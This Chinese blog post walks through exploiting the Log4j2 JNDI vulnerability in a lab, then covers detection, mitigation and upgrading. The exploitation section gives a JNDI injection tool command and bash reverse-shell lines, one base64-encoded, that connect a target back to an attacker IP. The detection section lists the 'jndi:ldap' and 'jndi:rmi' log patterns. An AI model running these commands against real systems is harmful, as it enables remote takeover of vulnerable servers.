Log4j2漏洞利用

目录

利用

排查

防御方法

修复方法


利用

选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main

应用工具JNDI-Injection-Exploit搭建服务:格式:

Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 命令 -A ip(攻击机)

这里的命令是想要靶机运行的命令,-A 后放的是发出攻击的电脑的IP,也是存放-C后”命令”的IP地址

实现反弹shell,可以使用命令

bash -i >& /dev/tcp/ip/port 0>&1

注意:命令 必须经过编码,不然将无法实现

 

【我直接下载连接失败,就下载好了以后拉进来的,如果是直接下载的去对应目录下面找】

在漏洞已存在的情况下,构造攻击payload执行命令反弹shell

bash -i >& /dev/tcp/ip/port 0>&1

首先对其进行BASE64 编码

重新打开一个窗口监听对应端口

执行EXP生成可用的payload

编码后的命令通过-C参数输入JNDI工具,通过-A参数指定kali的IP地址:

Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwOCA0NDQ0IDA+JjE=}|{base64,-d}|{bash,-i} -A 192.168.109.128

 

payload在之前探测dnslog的位置替换成这个地址

 

使用编码

监听界面出现反弹shell成功的界面:(进入了交互模式)

 

排查

  1. 可以通过检车日志是否存在”jndi:dap://”、”jndi:rmi://”等字符来发现可能的攻击行为
  2. Pom版本检查
  3. 各种安全产品

防御方法

  1. 这是jvm参数-Dlog4j2.formatMsgNoLookups=true。由于java RMI的实现依赖于JVM,所以可以通过调用JVM来修改。
  2. 设置log4j2.formatMsgNoLookups=True。
  3. 采用waf对请求的流量中的${jndi}进行拦截。通过拦截JNDI语句来方式JNDI注入。
  4. 禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP

修复方法

升级到最新的安全版本:log4j2-2.15.0-rc2。Apache Log4j2官方已经发布了解决漏洞的安全更新。

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值